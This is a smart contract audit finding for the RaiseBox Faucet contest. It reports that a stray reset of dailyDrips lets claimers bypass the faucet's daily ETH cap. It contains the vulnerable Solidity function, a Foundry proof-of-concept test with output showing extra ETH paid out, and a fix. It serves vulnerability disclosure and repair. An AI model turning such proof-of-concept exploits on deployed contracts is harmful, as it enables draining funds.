Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

[M-02] Accidental Reset of `dailyDrips` Allowing Bypass of Daily ETH Limit


Description

  • The dailyDrips variable is reset to 0 when a user who has already claimed ETH calls the claimFaucetTokens() function again. This accidental reset allows new users to receive ETH beyond the defined daily limit, bypassing the security mechanism designed to limit ETH distribution to 1 ETH per day.


function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
// (lastClaimTime[faucetClaimer] == 0);
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
// @> Root cause dailyDrips = 0;
}
/**
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// Effects
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Medium Likelihood - Exploitation requires specific conditions:

  • The owner must have increased dailyClaimLimit beyond 200 via adjustDailyClaimLimit()

  • An attacker must coordinate the function call after 200 users have claimed

  • The contract must have sufficient ETH reserves

  • While these conditions are not trivial, they are achievable in a testnet environment where limits are often adjusted

  • An attacker can repeat the exploit to gradually drain all ETH from the contract

  • Severe disruption of the intended faucet functionality\

Impact:


  • High Impact - The contract's ETH funds are directly at risk

Risk:

  • The contract can distribute up to 2 ETH per day instead of 1 ETH (100% over-distribution)

Proof of Concept

Scenario demonstrating the exploit:
1. 200 new users claim → dailyDrips = 1 ETH (cap reached)
2. An existing user recalls claimFaucetTokens() → enters else { dailyDrips = 0; }
3. 200 new users claim again → receive additional 1 ETH
Result: 2 ETH distributed instead of 1 ETH

function testAccidentalResetExploit() public {
//
uint256 initialContractBalance = address(raiseBoxFaucet).balance;
console.log("Initial Balance contrat: %s", initialContractBalance);
//
raiseBoxFaucet.adjustDailyClaimLimit(300, true);
// first batch - 200 new user
address[] memory firstTimeClaimers = new address[](200);
for (uint256 i = 0; i < 200; i++) {
firstTimeClaimers[i] = address(uint160(uint256(keccak256(abi.encodePacked(i)))));
vm.deal(firstTimeClaimers[i], 1 ether);
}
// allClaim (dailySepEthCap_)
for (uint256 i = 0; i < 200; i++) {
vm.prank(firstTimeClaimers[i]);
raiseBoxFaucet.claimFaucetTokens();
}
// "Attacker" start the reset
address attacker = firstTimeClaimers[0];
vm.warp(block.timestamp + 4 days);
vm.prank(attacker);
raiseBoxFaucet.claimFaucetTokens(); // Rest dailyDrips to 0
// second batch - 200 new user
address[] memory secondBatchClaimers = new address[](200);
for (uint256 i = 0; i < 200; i++) {
secondBatchClaimers[i] = address(uint160(uint256(keccak256(abi.encodePacked(i + 1000)))));
vm.deal(secondBatchClaimers[i], 1 ether);
}
//get the balance
uint256 ethReceivers = 0;
for (uint256 i = 0; i < 200; i++) {
uint256 balanceBefore = secondBatchClaimers[i].balance;
vm.prank(secondBatchClaimers[i]);
raiseBoxFaucet.claimFaucetTokens();
if (secondBatchClaimers[i].balance > balanceBefore) {
ethReceivers++;
console.log("User2 %s get ETH (bug confirme)", i);
}
}
//Final assert
console.log("Number of user who get ETH in second batch: %s", ethReceivers);
console.log("ETH loss cause of bug: %s", ethReceivers * 0.005 ether);
assertTrue(ethReceivers > 0, "Not working");
console.log("BUG CONFIRME: %s users received ETH while the milestone was reached!", ethReceivers);
}

Result :

...User2 98 get ETH (bug confirme)

User2 99 get ETH (bug confirme)

Number of user who get ETH in second batch: 100

ETH loss cause of bug: 500000000000000000

BUG CONFIRME: 100 users received ETH while the milestone was reached!


Recommended Mitigation


Remove the problematic line that resets dailyDrips in the else block:

(Alternative: If the reset had a specific intention, replace it with appropriate logic that doesn't compromise daily limit security.)


function claimFaucetTokens() public {
// ... existing code ...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// ETH distribution logic for new users
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
// ... rest of ETH logic ...
}
- else {
- dailyDrips = 0; // CRITICAL LINE TO REMOVE
- }
// ... rest of function ...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 13 days ago
Submission Judgement Published
Validated
Assigned finding tags:

dailyDrips Reset Bug

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.